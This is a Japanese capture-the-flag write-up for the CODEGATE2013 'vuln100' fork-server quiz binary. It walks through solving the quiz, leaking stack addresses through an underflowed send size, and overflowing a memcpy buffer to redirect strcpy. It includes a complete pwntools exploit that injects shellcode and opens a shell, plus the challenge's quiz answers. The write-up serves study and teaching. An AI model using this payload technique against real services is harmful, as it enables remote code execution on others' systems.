pwnlist baby vuln100
下調べ
mattun-mart@4ctf:~/pwn/baby/vuln100$ file vuln100 | sed -e "s/,/\n/g" vuln100: ELF 64-bit LSB executable x86-64 version 1 (SYSV) dynamically linked (uses shared libs) for GNU/Linux 2.6.24 BuildID[sha1]=405654ce20fe1b9e5b8cd57c1299ce770f8d3b5d stripped
mattun-mart@4ctf:~/pwn/baby/vuln100$ checksec.sh --file vuln100 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX disabled Not an ELF file No RPATH No RUNPATH vuln100
Ubuntu14.04 64bitで動かしてます.
NX,SSP無効.スタック等にシェルコード乗せて実行させるパターンかな.
解析
とりあえず実行する.何かを待ち受けてる.straceで実行してみるとポート6666で接続を待ち受けていることがわかる.
いわゆるfork-server型の問題.
ncコマンドで接続してみるとクイズゲームが始まる.
mattun-mart@4ctf:~/pwn/baby/vuln100$ nc localhost 6666 Welcome to CODEGATE2013. This is quiz game. Solve the quiz. It is Foot Ball Club. This Club is an English Primier league football club. This Club founded 1886. This club Manager Arsene Wenger. This club Stadium is Emirates Stadium. What is this club? (only small letter)
面倒なのでStringコマンドで答えらしき文字列がないか探すが,見つからず仕方なくgoogle先生で検索して答えていく.(バイナリ解析していてわかったが,MD5のハッシュ値で入力された答えが正しいか判定していた)
クイズに3問正解するとニックネームの入力を促される.
rank write! your nickname: AAAAAAAAAAAA AAAAAAAAAAA very good ranke game the end
これでプログラムは終了.
ニックネーム入力の部分にいろいろ入力してると改行を送った時と大量に文字を送った時バグった.
改行を送った時は変な文字が表示されていて,大量に文字を送った時はgame the endが表示されずに途中でプログラムが落ちている.
改行文字を送った時
rank write! your nickname: z very good ranke game the end
大量の文字を送った時
good!3 rank write! your nickname: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
おそらく,終端文字挿入していないのと,バッファーオーバーフローしてEIPが変なところに飛んでいるのがそれぞれのバグの原因.
あとは実際にバイナリの中身を見ないとわからないのでobjdumpやgdb-peda等で解析していく.
解析してみると次のような動きをしていることがわかった.
- 各問題の入力内容をrecvで受け取り,受け取った入力内容のMD5のハッシュ値と答えのハッシュ値を比較.間違っていた場合はプログラム終了.
- 3問すべて正解していた場合はユーザからニックネームの入力内容をrecvで受け取る.
- 受け取ったニックネームの入力内容をスタック内の別領域にmemcpyでコピー.
- コピーしたアドレスにニックネームの入力内容をstrcpyでコピー.
- コピー先アドレスに格納されているニックネームの入力内容を2文字削ってsendで送る.
- very good rankeとgame the endをsendで送ってプログラム終了
それで,どんなバグがあるの?
1. memcpyでバッファオーバーフローが起こる
下図に示すようにニックネームの入力内容のコピーを保存する領域の下にstrcpyの引数であるコピー先アドレスを格納する領域がある.
そのため,大量に文字を送られるとこれが書き換えられてしまう.
具体的には0x108(264)文字を超える文字を入力するとstrcmpの引数であるコピー先アドレスが書き変わる.
これでニックネームの入力内容を好きな場所に書き込めることがわかった.
2. 極端に短い文字を入力に送るとスタックの中身がリークできる
例えば終端文字\x00をニックネームの入力として送ってみるとこんな感じで楽しいことになる.
mattun-mart@4ctf:~/pwn/baby/vuln100$ python test2.py [+] Opening connection to localhost on port 6666: Done \x00\x00��\xff\xff\x7f\x00\x00xYd��\x00\x00\x00\x00\x00\x00\x00\x00\x00����\xff\x7f\x00\x00\x90 @\x00\x00\x00\x00\x00`w\x9f��\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x98��\xff\xff\x7f\x00\x00\x80��\xff\xff\x7f\x00\x00p��\xff\xff\x7f\x00\x000\xa6��\x00\x00\x00\x00\x00\x00\x00\x00\x00����\xff\x7f\x00\x00\x90 @\x00\x00\x00\x00\x00Y\x0c@\x00\x00\x00\x00\x000��\xff\x03\xfe\xff\xff��\xff\xff\xff\x7f\x00\x000�L�,\xab�1s\x8c\xaa\xad\x89��\x00\x00\x00,\xab�1s\x8c\xaa\xad\x89��\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x000��\xff\xff\x7f\x00\x00\x90 @\x00\x00\x00\x00\x00\x10���\xff\x7f\x00\x00���\xff\xff\x7f\x00\x000��\xff\xff\x7f\x00\x00h\x12@\x00\x00\x00\x00\x00\x10��\xff\xff\x7f\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x18���\xff\x7f\x00\x00\x10K\xfe�\x0030f54cbe2cabf23173198caaad89e7b9\x00\x00\x00\x00\x00\x00\x00\xa\x00\x00\x00\x00\x00He is South Korean singer, songwriter, rapper, dancer and record producer. He is known domestically for his humorous videos and stage performances, and internationally for his hit single Gangnam Style. Who is he?(only small letter) \x00�v��\x7f\x00\x00eece6865e633b0ca4b5c0b32f21edfa2\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00It is a royal palace locate in northern Seoul, South Korea. First constructed in 1395, laster burned and abandoned for almost three centuries, and then reconstructed in 1867, it was the main and largest place of the Five Grand Palaces built by the joseon Dynasty. What is it?(only small letter) \x00��\xff\xff\xff\x7f\x00\x001c5442c0461e5186126aaba26edd6857\x00\x00\x00\x00\x00\x00\x00\x00\x00F\xfe��\x00It is Foot Ball Club. This Club is an English Primier league football club. This Club founded 1886. This club Manager Arsene Wenger. This club Stadium is Emirates Stadium. What is this club? (only small letter) \x00\xff\x7f\x00\x00��\xff\xff\x10\x00\x00\x00\x00\x88\x95\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00psy��\x00\x00\x00\x00\x00\x00\x00\x00\x00gyeongbokgung\x00\x00\x00arsenal\x00\xb5\x13@\x00\x00\x00\x00\x00\x100`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x100`\x00\x00\x00\x00\x00\x90 @\x00\x00\x00\x00\x00\x100`\x00\x00\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Eoe��\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18���\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00� @\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00�C<ghmA_ very good ranke game the end \x00
何でこんなことになっているかというと
以下のように,rdxに入力した文字数が格納されたraxから0x2引いた値が格納されることが原因.
RAX: 0x0 RBX: 0x0 RCX: 0xfffffffffffffffe RDX: 0xfffffffffffffffe RSI: 0x7fffffffe018 --> 0x7fffffffe300 --> 0x7fffffffe339 --> 0x3cf32b80e1f2070 RDI: 0x7fffffffd9e1 --> 0x7800007fffffffda RBP: 0x7fffffffdf30 --> 0x0 RSP: 0x7fffffffdb00 --> 0x7fffffffdc10 ("am Style. Who is he?(only small letter)\n") RIP: 0x401252 (mov rsi,QWORD PTR [rip+0x200e7f] # 0x6020d8) R8 : 0x0 R9 : 0x0 R10: 0x7fffffffd790 --> 0x0 R11: 0x7ffff77b0fa0 --> 0xfff239c0fff239b0 R12: 0x400a90 (xor ebp,ebp) R13: 0x7fffffffe010 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x401247: not rax 0x40124a: sub rax,0x1 0x40124e: lea rdx,[rax-0x2] # rdxはsendで送るデータのサイズが入る => 0x401252: mov rsi,QWORD PTR [rip+0x200e7f] # 0x6020d8 0x401259: mov eax,DWORD PTR [rbp-0x8] 0x40125c: mov ecx,0x0 0x401261: mov edi,eax 0x401263: call 0x400a20 <send@plt>
このrdxにはsendで送るデータサイズの値が入っており,1文字以下だとsendのサイズがとんでもなくでかくなってしまう.
0x401259: mov eax,DWORD PTR [rbp-0x8] 0x40125c: mov ecx,0x0 0x401261: mov edi,eax => 0x401263: call 0x400a20 <send@plt> 0x401268: mov eax,DWORD PTR [rbp-0x8] 0x40126b: mov ecx,0x0 0x401270: mov edx,0x10 0x401275: mov esi,0x401523 Guessed arguments: arg[0]: 0x4 arg[1]: 0x7fffffffd9e0 --> 0x7fffffffda00 --> 0x400a90 (xor ebp,ebp) arg[2]: 0xfffffffffffffffe # 送るデータサイズ arg[3]: 0x0
つまり,コピーしたニックネームデータ以降のスタックの中身を送ってしまうことになる.これがよくわからない文字列の正体.
ここでさっきのスタックの図を見ればわかるが,nickname_copy_dataの先にはnickname_copy_dataのアドレスが格納されている.
ということは,リークしたスタックの中身からニックネームの入力データが入ったアドレスを特定できるので,ニックネームの入力にシェルコード積んでここに飛んでやれば良さそう.
今回fork-server型の問題なので親プロセスが死なない限り,リークしたスタックのアドレスが変わることもない.
Exploit
ってことで,Exploitを組み立てていく.
NXとSSPが無効なので,ニックネームの入力にシェルコードを積んで,どうにかしてリークしたスタックから得たニックネームの入力(memcpyのコピー)を格納したアドレスに飛んでやればよさそう.
ただ,どうやってスタックのリターンアドレスを書き換えるかが問題.
memcpyのコピーの時にリターンアドレスを書き換えてやるのが一番楽そうだが,リターンアドレスの前にstrcpyのコピー先アドレスを格納する領域が邪魔でうまくいかない.
コピー先アドレスを格納する部分だけにアドレスを書いておいてプログラムが落ちないようにし,リターンアドレスを書き換える方法も考えられるが,アドレスに\x00が入ってしまうためそれ以降の入力を送ることができないのでこれもダメ.
今回はstrcpyの書き込み先は自由に変更できるので,これをうまく利用する.
strcpyのときに0x10ずらして書き込むことでうまくリターンアドレスをシェルコードを積んでいるニックネームの入力を保存している領域のアドレスに指定できる.
下の図のような流れ.青い枠はニックネームの入力.(わかりづらくてすみません...)
あとはExploit書く.
#!usr/bin/env python # -*- coding:utf-8 =*- from pwn import * import struct import time context.arch = 'amd64' host = 'localhost' port = 6666 def solve_quiz(conn): conn.send("arsenal\n") time.sleep(0.01) conn.send("gyeongbokgung\n") time.sleep(0.01) conn.send("psy\n") time.sleep(0.01) def leak_stack_addr(conn): solve_quiz(conn) conn.send("\x00") conn.recvuntil("nickname:") leak_stack = conn.recv() leak_addr = u64(leak_stack[266:272] + "\x00\x00") return leak_addr conn = remote(host,port) leak_addr = leak_stack_addr(conn) shellcode = asm(shellcraft.dupsh(4)) shellcode += asm(shellcraft.sh()) payload = shellcode payload += "A" * (264 - len(shellcode)) payload += p64(leak_addr + 16) print hex(leak_addr) conn = remote(host,port) solve_quiz(conn) conn.send(payload) time.sleep(0.1) conn.recv() conn.interactive()
結果
mattun-mart@4ctf:~/pwn/baby/vuln100$ python exploit2.py [+] Opening connection to localhost on port 6666: Done 0x7fffabd7efd0 [+] Opening connection to localhost on port 6666: Done [*] Switching to interactive mode $ ls dump etest.py exploit.py exploit2.py peda-session-ls.txt peda-session-vuln100.txt test2.py vuln100 $ exit [*] Got EOF while reading in interactive
無事シェルが起動.
やったことまとめるのめっちゃ時間かかるなぁ...